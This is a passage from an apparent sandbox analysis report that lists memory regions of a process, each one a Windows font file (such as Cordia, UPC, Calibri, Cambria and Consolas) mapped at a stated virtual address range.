"c:\\windows\\fonts\\cordiaub.ttf") Region: id = 769 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiauz.ttf" filename = "\\Windows\\Fonts\\cordiauz.ttf" (normalized: "c:\\windows\\fonts\\cordiauz.ttf") Region: id = 770 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiauz.ttf" filename = "\\Windows\\Fonts\\cordiauz.ttf" (normalized: "c:\\windows\\fonts\\cordiauz.ttf") Region: id = 771 start_va = 0x450000 end_va = 0x468fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaui.ttf" filename = "\\Windows\\Fonts\\cordiaui.ttf" (normalized: "c:\\windows\\fonts\\cordiaui.ttf") Region: id = 772 start_va = 0x450000 end_va = 0x468fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaui.ttf" filename = "\\Windows\\Fonts\\cordiaui.ttf" (normalized: "c:\\windows\\fonts\\cordiaui.ttf") Region: id = 773 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdl.ttf" filename = "\\Windows\\Fonts\\upcdl.ttf" (normalized: "c:\\windows\\fonts\\upcdl.ttf") Region: id = 774 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdl.ttf" filename = "\\Windows\\Fonts\\upcdl.ttf" (normalized: "c:\\windows\\fonts\\upcdl.ttf") Region: id = 775 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdi.ttf" filename = "\\Windows\\Fonts\\upcdi.ttf" (normalized: "c:\\windows\\fonts\\upcdi.ttf") Region: id = 776 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdi.ttf" filename = "\\Windows\\Fonts\\upcdi.ttf" (normalized: "c:\\windows\\fonts\\upcdi.ttf") Region: id = 777 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdb.ttf" filename = "\\Windows\\Fonts\\upcdb.ttf" (normalized: "c:\\windows\\fonts\\upcdb.ttf") Region: id = 778 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdb.ttf" filename = "\\Windows\\Fonts\\upcdb.ttf" (normalized: "c:\\windows\\fonts\\upcdb.ttf") Region: id = 779 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdbi.ttf" filename = "\\Windows\\Fonts\\upcdbi.ttf" (normalized: "c:\\windows\\fonts\\upcdbi.ttf") Region: id = 780 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdbi.ttf" filename = "\\Windows\\Fonts\\upcdbi.ttf" (normalized: "c:\\windows\\fonts\\upcdbi.ttf") Region: id = 781 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcel.ttf" filename = "\\Windows\\Fonts\\upcel.ttf" (normalized: "c:\\windows\\fonts\\upcel.ttf") Region: id = 782 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcel.ttf" filename = "\\Windows\\Fonts\\upcel.ttf" (normalized: "c:\\windows\\fonts\\upcel.ttf") Region: id = 783 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcei.ttf" filename = "\\Windows\\Fonts\\upcei.ttf" (normalized: "c:\\windows\\fonts\\upcei.ttf") Region: id = 784 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcei.ttf" filename = "\\Windows\\Fonts\\upcei.ttf" (normalized: "c:\\windows\\fonts\\upcei.ttf") Region: id = 785 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upceb.ttf" filename = "\\Windows\\Fonts\\upceb.ttf" (normalized: "c:\\windows\\fonts\\upceb.ttf") Region: id = 786 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upceb.ttf" filename = "\\Windows\\Fonts\\upceb.ttf" (normalized: "c:\\windows\\fonts\\upceb.ttf") Region: id = 787 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcebi.ttf" filename = "\\Windows\\Fonts\\upcebi.ttf" (normalized: "c:\\windows\\fonts\\upcebi.ttf") Region: id = 788 start_va = 0x450000 end_va = 0x463fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcebi.ttf" filename = "\\Windows\\Fonts\\upcebi.ttf" (normalized: "c:\\windows\\fonts\\upcebi.ttf") Region: id = 789 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfl.ttf" filename = "\\Windows\\Fonts\\upcfl.ttf" (normalized: "c:\\windows\\fonts\\upcfl.ttf") Region: id = 790 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfl.ttf" filename = "\\Windows\\Fonts\\upcfl.ttf" (normalized: "c:\\windows\\fonts\\upcfl.ttf") Region: id = 791 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfi.ttf" filename = "\\Windows\\Fonts\\upcfi.ttf" (normalized: "c:\\windows\\fonts\\upcfi.ttf") Region: id = 792 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfi.ttf" filename = "\\Windows\\Fonts\\upcfi.ttf" (normalized: "c:\\windows\\fonts\\upcfi.ttf") Region: id = 793 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfb.ttf" filename = "\\Windows\\Fonts\\upcfb.ttf" (normalized: "c:\\windows\\fonts\\upcfb.ttf") Region: id = 794 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfb.ttf" filename = "\\Windows\\Fonts\\upcfb.ttf" (normalized: "c:\\windows\\fonts\\upcfb.ttf") Region: id = 795 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfbi.ttf" filename = "\\Windows\\Fonts\\upcfbi.ttf" (normalized: "c:\\windows\\fonts\\upcfbi.ttf") Region: id = 796 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcfbi.ttf" filename = "\\Windows\\Fonts\\upcfbi.ttf" (normalized: "c:\\windows\\fonts\\upcfbi.ttf") Region: id = 797 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcil.ttf" filename = "\\Windows\\Fonts\\upcil.ttf" (normalized: "c:\\windows\\fonts\\upcil.ttf") Region: id = 798 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcil.ttf" filename = "\\Windows\\Fonts\\upcil.ttf" (normalized: "c:\\windows\\fonts\\upcil.ttf") Region: id = 799 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcii.ttf" filename = "\\Windows\\Fonts\\upcii.ttf" (normalized: "c:\\windows\\fonts\\upcii.ttf") Region: id = 800 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcii.ttf" filename = "\\Windows\\Fonts\\upcii.ttf" (normalized: "c:\\windows\\fonts\\upcii.ttf") Region: id = 801 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcib.ttf" filename = "\\Windows\\Fonts\\upcib.ttf" (normalized: "c:\\windows\\fonts\\upcib.ttf") Region: id = 802 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcib.ttf" filename = "\\Windows\\Fonts\\upcib.ttf" (normalized: "c:\\windows\\fonts\\upcib.ttf") Region: id = 803 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcibi.ttf" filename = "\\Windows\\Fonts\\upcibi.ttf" (normalized: "c:\\windows\\fonts\\upcibi.ttf") Region: id = 804 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcibi.ttf" filename = "\\Windows\\Fonts\\upcibi.ttf" (normalized: "c:\\windows\\fonts\\upcibi.ttf") Region: id = 805 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjl.ttf" filename = "\\Windows\\Fonts\\upcjl.ttf" (normalized: "c:\\windows\\fonts\\upcjl.ttf") Region: id = 806 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjl.ttf" filename = "\\Windows\\Fonts\\upcjl.ttf" (normalized: "c:\\windows\\fonts\\upcjl.ttf") Region: id = 807 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcji.ttf" filename = "\\Windows\\Fonts\\upcji.ttf" (normalized: "c:\\windows\\fonts\\upcji.ttf") Region: id = 808 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcji.ttf" filename = "\\Windows\\Fonts\\upcji.ttf" (normalized: "c:\\windows\\fonts\\upcji.ttf") Region: id = 809 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjb.ttf" filename = "\\Windows\\Fonts\\upcjb.ttf" (normalized: "c:\\windows\\fonts\\upcjb.ttf") Region: id = 810 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjb.ttf" filename = "\\Windows\\Fonts\\upcjb.ttf" (normalized: "c:\\windows\\fonts\\upcjb.ttf") Region: id = 811 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjbi.ttf" filename = "\\Windows\\Fonts\\upcjbi.ttf" (normalized: "c:\\windows\\fonts\\upcjbi.ttf") Region: id = 812 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcjbi.ttf" filename = "\\Windows\\Fonts\\upcjbi.ttf" (normalized: "c:\\windows\\fonts\\upcjbi.ttf") Region: id = 813 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckl.ttf" filename = "\\Windows\\Fonts\\upckl.ttf" (normalized: "c:\\windows\\fonts\\upckl.ttf") Region: id = 814 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckl.ttf" filename = "\\Windows\\Fonts\\upckl.ttf" (normalized: "c:\\windows\\fonts\\upckl.ttf") Region: id = 815 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcki.ttf" filename = "\\Windows\\Fonts\\upcki.ttf" (normalized: "c:\\windows\\fonts\\upcki.ttf") Region: id = 816 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcki.ttf" filename = "\\Windows\\Fonts\\upcki.ttf" (normalized: "c:\\windows\\fonts\\upcki.ttf") Region: id = 817 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckb.ttf" filename = "\\Windows\\Fonts\\upckb.ttf" (normalized: "c:\\windows\\fonts\\upckb.ttf") Region: id = 818 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckb.ttf" filename = "\\Windows\\Fonts\\upckb.ttf" (normalized: "c:\\windows\\fonts\\upckb.ttf") Region: id = 819 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckbi.ttf" filename = "\\Windows\\Fonts\\upckbi.ttf" (normalized: "c:\\windows\\fonts\\upckbi.ttf") Region: id = 820 start_va = 0x450000 end_va = 0x460fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upckbi.ttf" filename = "\\Windows\\Fonts\\upckbi.ttf" (normalized: "c:\\windows\\fonts\\upckbi.ttf") Region: id = 821 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcll.ttf" filename = "\\Windows\\Fonts\\upcll.ttf" (normalized: "c:\\windows\\fonts\\upcll.ttf") Region: id = 822 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcll.ttf" filename = "\\Windows\\Fonts\\upcll.ttf" (normalized: "c:\\windows\\fonts\\upcll.ttf") Region: id = 823 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcli.ttf" filename = "\\Windows\\Fonts\\upcli.ttf" (normalized: "c:\\windows\\fonts\\upcli.ttf") Region: id = 824 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcli.ttf" filename = "\\Windows\\Fonts\\upcli.ttf" (normalized: "c:\\windows\\fonts\\upcli.ttf") Region: id = 825 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upclb.ttf" filename = "\\Windows\\Fonts\\upclb.ttf" (normalized: "c:\\windows\\fonts\\upclb.ttf") Region: id = 826 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upclb.ttf" filename = "\\Windows\\Fonts\\upclb.ttf" (normalized: "c:\\windows\\fonts\\upclb.ttf") Region: id = 827 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upclbi.ttf" filename = "\\Windows\\Fonts\\upclbi.ttf" (normalized: "c:\\windows\\fonts\\upclbi.ttf") Region: id = 828 start_va = 0x450000 end_va = 0x45dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upclbi.ttf" filename = "\\Windows\\Fonts\\upclbi.ttf" (normalized: "c:\\windows\\fonts\\upclbi.ttf") Region: id = 829 start_va = 0x5c00000 end_va = 0x60f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kaiu.ttf" filename = "\\Windows\\Fonts\\kaiu.ttf" (normalized: "c:\\windows\\fonts\\kaiu.ttf") Region: id = 830 start_va = 0x5c00000 end_va = 0x60f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kaiu.ttf" filename = "\\Windows\\Fonts\\kaiu.ttf" (normalized: "c:\\windows\\fonts\\kaiu.ttf") Region: id = 831 start_va = 0xa80000 end_va = 0xacffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "l_10646.ttf" filename = "\\Windows\\Fonts\\l_10646.ttf" (normalized: "c:\\windows\\fonts\\l_10646.ttf") Region: id = 832 start_va = 0xa80000 end_va = 0xacffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "l_10646.ttf" filename = "\\Windows\\Fonts\\l_10646.ttf" (normalized: "c:\\windows\\fonts\\l_10646.ttf") Region: id = 833 start_va = 0x450000 end_va = 0x46dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ariblk.ttf" filename = "\\Windows\\Fonts\\ariblk.ttf" (normalized: "c:\\windows\\fonts\\ariblk.ttf") Region: id = 834 start_va = 0x450000 end_va = 0x46dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ariblk.ttf" filename = "\\Windows\\Fonts\\ariblk.ttf" (normalized: "c:\\windows\\fonts\\ariblk.ttf") Region: id = 835 start_va = 0x1290000 end_va = 0x1356fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibri.ttf" filename = "\\Windows\\Fonts\\calibri.ttf" (normalized: "c:\\windows\\fonts\\calibri.ttf") Region: id = 836 start_va = 0x1290000 end_va = 0x1356fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibri.ttf" filename = "\\Windows\\Fonts\\calibri.ttf" (normalized: "c:\\windows\\fonts\\calibri.ttf") Region: id = 837 start_va = 0x5c00000 end_va = 0x5cd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrii.ttf" filename = "\\Windows\\Fonts\\calibrii.ttf" (normalized: "c:\\windows\\fonts\\calibrii.ttf") Region: id = 838 start_va = 0x5c00000 end_va = 0x5cd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrii.ttf" filename = "\\Windows\\Fonts\\calibrii.ttf" (normalized: "c:\\windows\\fonts\\calibrii.ttf") Region: id = 839 start_va = 0x1290000 end_va = 0x135ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrib.ttf" filename = "\\Windows\\Fonts\\calibrib.ttf" (normalized: "c:\\windows\\fonts\\calibrib.ttf") Region: id = 840 start_va = 0x1290000 end_va = 0x135ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrib.ttf" filename = "\\Windows\\Fonts\\calibrib.ttf" (normalized: "c:\\windows\\fonts\\calibrib.ttf") Region: id = 841 start_va = 0x5c00000 end_va = 0x5cdbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibriz.ttf" filename = "\\Windows\\Fonts\\calibriz.ttf" (normalized: "c:\\windows\\fonts\\calibriz.ttf") Region: id = 842 start_va = 0x5c00000 end_va = 0x5cdbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibriz.ttf" filename = "\\Windows\\Fonts\\calibriz.ttf" (normalized: "c:\\windows\\fonts\\calibriz.ttf") Region: id = 843 start_va = 0x5c00000 end_va = 0x5d8cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambria.ttc" filename = "\\Windows\\Fonts\\cambria.ttc" (normalized: "c:\\windows\\fonts\\cambria.ttc") Region: id = 844 start_va = 0x5c00000 end_va = 0x5d8cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambria.ttc" filename = "\\Windows\\Fonts\\cambria.ttc" (normalized: "c:\\windows\\fonts\\cambria.ttc") Region: id = 845 start_va = 0x5c00000 end_va = 0x5d8cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambria.ttc" filename = "\\Windows\\Fonts\\cambria.ttc" (normalized: "c:\\windows\\fonts\\cambria.ttc") Region: id = 846 start_va = 0x1290000 end_va = 0x1359fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriai.ttf" filename = "\\Windows\\Fonts\\cambriai.ttf" (normalized: "c:\\windows\\fonts\\cambriai.ttf") Region: id = 847 start_va = 0x1290000 end_va = 0x1359fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriai.ttf" filename = "\\Windows\\Fonts\\cambriai.ttf" (normalized: "c:\\windows\\fonts\\cambriai.ttf") Region: id = 848 start_va = 0x1290000 end_va = 0x1351fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriab.ttf" filename = "\\Windows\\Fonts\\cambriab.ttf" (normalized: "c:\\windows\\fonts\\cambriab.ttf") Region: id = 849 start_va = 0x1290000 end_va = 0x1351fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriab.ttf" filename = "\\Windows\\Fonts\\cambriab.ttf" (normalized: "c:\\windows\\fonts\\cambriab.ttf") Region: id = 850 start_va = 0x1290000 end_va = 0x1354fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriaz.ttf" filename = "\\Windows\\Fonts\\cambriaz.ttf" (normalized: "c:\\windows\\fonts\\cambriaz.ttf") Region: id = 851 start_va = 0x1290000 end_va = 0x1354fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cambriaz.ttf" filename = "\\Windows\\Fonts\\cambriaz.ttf" (normalized: "c:\\windows\\fonts\\cambriaz.ttf") Region: id = 852 start_va = 0x710000 end_va = 0x745fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candara.ttf" filename = "\\Windows\\Fonts\\Candara.ttf" (normalized: "c:\\windows\\fonts\\candara.ttf") Region: id = 853 start_va = 0x710000 end_va = 0x745fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candara.ttf" filename = "\\Windows\\Fonts\\Candara.ttf" (normalized: "c:\\windows\\fonts\\candara.ttf") Region: id = 854 start_va = 0x710000 end_va = 0x747fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candarai.ttf" filename = "\\Windows\\Fonts\\Candarai.ttf" (normalized: "c:\\windows\\fonts\\candarai.ttf") Region: id = 855 start_va = 0x710000 end_va = 0x747fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candarai.ttf" filename = "\\Windows\\Fonts\\Candarai.ttf" (normalized: "c:\\windows\\fonts\\candarai.ttf") Region: id = 856 start_va = 0x710000 end_va = 0x747fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candarab.ttf" filename = "\\Windows\\Fonts\\Candarab.ttf" (normalized: "c:\\windows\\fonts\\candarab.ttf") Region: id = 857 start_va = 0x710000 end_va = 0x747fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candarab.ttf" filename = "\\Windows\\Fonts\\Candarab.ttf" (normalized: "c:\\windows\\fonts\\candarab.ttf") Region: id = 858 start_va = 0x710000 end_va = 0x747fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candaraz.ttf" filename = "\\Windows\\Fonts\\Candaraz.ttf" (normalized: "c:\\windows\\fonts\\candaraz.ttf") Region: id = 859 start_va = 0x710000 end_va = 0x747fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "candaraz.ttf" filename = "\\Windows\\Fonts\\Candaraz.ttf" (normalized: "c:\\windows\\fonts\\candaraz.ttf") Region: id = 860 start_va = 0x710000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "comic.ttf" filename = "\\Windows\\Fonts\\comic.ttf" (normalized: "c:\\windows\\fonts\\comic.ttf") Region: id = 861 start_va = 0x710000 end_va = 0x730fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "comic.ttf" filename = "\\Windows\\Fonts\\comic.ttf" (normalized: "c:\\windows\\fonts\\comic.ttf") Region: id = 862 start_va = 0x450000 end_va = 0x46cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "comicbd.ttf" filename = "\\Windows\\Fonts\\comicbd.ttf" (normalized: "c:\\windows\\fonts\\comicbd.ttf") Region: id = 863 start_va = 0x450000 end_va = 0x46cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "comicbd.ttf" filename = "\\Windows\\Fonts\\comicbd.ttf" (normalized: "c:\\windows\\fonts\\comicbd.ttf") Region: id = 864 start_va = 0x1290000 end_va = 0x12e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consola.ttf" filename = "\\Windows\\Fonts\\consola.ttf" (normalized: "c:\\windows\\fonts\\consola.ttf") Region: id = 865 start_va = 0x1290000 end_va = 0x12e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consola.ttf" filename = "\\Windows\\Fonts\\consola.ttf" (normalized: "c:\\windows\\fonts\\consola.ttf") Region: id = 866 start_va = 0x1290000 end_va = 0x12e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolai.ttf" filename = "\\Windows\\Fonts\\consolai.ttf" (normalized: "c:\\windows\\fonts\\consolai.ttf") Region: id = 867 start_va = 0x1290000 end_va = 0x12e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolai.ttf" filename = "\\Windows\\Fonts\\consolai.ttf" (normalized: "c:\\windows\\fonts\\consolai.ttf") Region: id = 868 start_va = 0x1290000 end_va = 0x12e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolab.ttf" filename = "\\Windows\\Fonts\\consolab.ttf" (normalized: "c:\\windows\\fonts\\consolab.ttf") Region: id = 869 start_va = 0x1290000 end_va = 0x12e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolab.ttf" filename = "\\Windows\\Fonts\\consolab.ttf" (normalized: "c:\\windows\\fonts\\consolab.ttf") Region: id = 870 start_va = 0x1290000 end_va = 0x12ebfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolaz.ttf" filename = "\\Windows\\Fonts\\consolaz.ttf" (normalized: "c:\\windows\\fonts\\consolaz.ttf") Region: id = 871 start_va = 0x1290000 end_va = 0x12ebfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "consolaz.ttf" filename = "\\Windows\\Fonts\\consolaz.ttf" (normalized: "c:\\windows\\fonts\\consolaz.ttf") Region: id = 872 start_va = 0x1290000 end_va = 0x12fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constan.ttf" filename = "\\Windows\\Fonts\\constan.ttf" (normalized: "c:\\windows\\fonts\\constan.ttf") Region: id = 873 start_va = 0x1290000 end_va = 0x12fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constan.ttf" filename = "\\Windows\\Fonts\\constan.ttf" (normalized: "c:\\windows\\fonts\\constan.ttf") Region: id = 874 start_va = 0x1290000 end_va = 0x12fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constani.ttf" filename = "\\Windows\\Fonts\\constani.ttf" (normalized: "c:\\windows\\fonts\\constani.ttf") Region: id = 875 start_va = 0x1290000 end_va = 0x12fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constani.ttf" filename = "\\Windows\\Fonts\\constani.ttf" (normalized: "c:\\windows\\fonts\\constani.ttf") Region: id = 876 start_va = 0x1290000 end_va = 0x12fefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constanb.ttf" filename = "\\Windows\\Fonts\\constanb.ttf" (normalized: "c:\\windows\\fonts\\constanb.ttf") Region: id = 877 start_va = 0x1290000 end_va = 0x12fefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constanb.ttf" filename = "\\Windows\\Fonts\\constanb.ttf" (normalized: "c:\\windows\\fonts\\constanb.ttf") Region: id = 878 start_va = 0x1290000 end_va = 0x12fefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constanz.ttf" filename = "\\Windows\\Fonts\\constanz.ttf" (normalized: "c:\\windows\\fonts\\constanz.ttf") Region: id = 879 start_va = 0x1290000 end_va = 0x12fefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "constanz.ttf" filename = "\\Windows\\Fonts\\constanz.ttf" (normalized: "c:\\windows\\fonts\\constanz.ttf") Region: id = 880 start_va = 0x710000 end_va = 0x74ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbel.ttf" filename = "\\Windows\\Fonts\\corbel.ttf" (normalized: "c:\\windows\\fonts\\corbel.ttf") Region: id = 881 start_va = 0x710000 end_va = 0x74ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbel.ttf" filename = "\\Windows\\Fonts\\corbel.ttf" (normalized: "c:\\windows\\fonts\\corbel.ttf") Region: id = 882 start_va = 0xa80000 end_va = 0xac1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbeli.ttf" filename = "\\Windows\\Fonts\\corbeli.ttf" (normalized: "c:\\windows\\fonts\\corbeli.ttf") Region: id = 883 start_va = 0xa80000 end_va = 0xac1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbeli.ttf" filename = "\\Windows\\Fonts\\corbeli.ttf" (normalized: "c:\\windows\\fonts\\corbeli.ttf") Region: id = 884 start_va = 0xa80000 end_va = 0xac2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbelb.ttf" filename = "\\Windows\\Fonts\\corbelb.ttf" (normalized: "c:\\windows\\fonts\\corbelb.ttf") Region: id = 885 start_va = 0xa80000 end_va = 0xac2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbelb.ttf" filename = "\\Windows\\Fonts\\corbelb.ttf" (normalized: "c:\\windows\\fonts\\corbelb.ttf") Region: id = 886 start_va = 0xa80000 end_va = 0xac4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbelz.ttf" filename = "\\Windows\\Fonts\\corbelz.ttf" (normalized: "c:\\windows\\fonts\\corbelz.ttf") Region: id = 887 start_va = 0xa80000 end_va = 0xac4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "corbelz.ttf" filename = "\\Windows\\Fonts\\corbelz.ttf" (normalized: "c:\\windows\\fonts\\corbelz.ttf") Region: id = 888 start_va = 0x710000 end_va = 0x732fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framd.ttf" filename = "\\Windows\\Fonts\\framd.ttf" (normalized: "c:\\windows\\fonts\\framd.ttf") Region: id = 889 start_va = 0x710000 end_va = 0x732fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framd.ttf" filename = "\\Windows\\Fonts\\framd.ttf" (normalized: "c:\\windows\\fonts\\framd.ttf") Region: id = 890 start_va = 0x710000 end_va = 0x735fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framdit.ttf" filename = "\\Windows\\Fonts\\framdit.ttf" (normalized: "c:\\windows\\fonts\\framdit.ttf") Region: id = 891 start_va = 0x710000 end_va = 0x735fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framdit.ttf" filename = "\\Windows\\Fonts\\framdit.ttf" (normalized: "c:\\windows\\fonts\\framdit.ttf") Region: id = 892 start_va = 0x5c00000 end_va = 0x5db8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gabriola.ttf" filename = "\\Windows\\Fonts\\Gabriola.ttf" (normalized: "c:\\windows\\fonts\\gabriola.ttf") Region: id = 893 start_va = 0x5c00000 end_va = 0x5db8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gabriola.ttf" filename = "\\Windows\\Fonts\\Gabriola.ttf" (normalized: 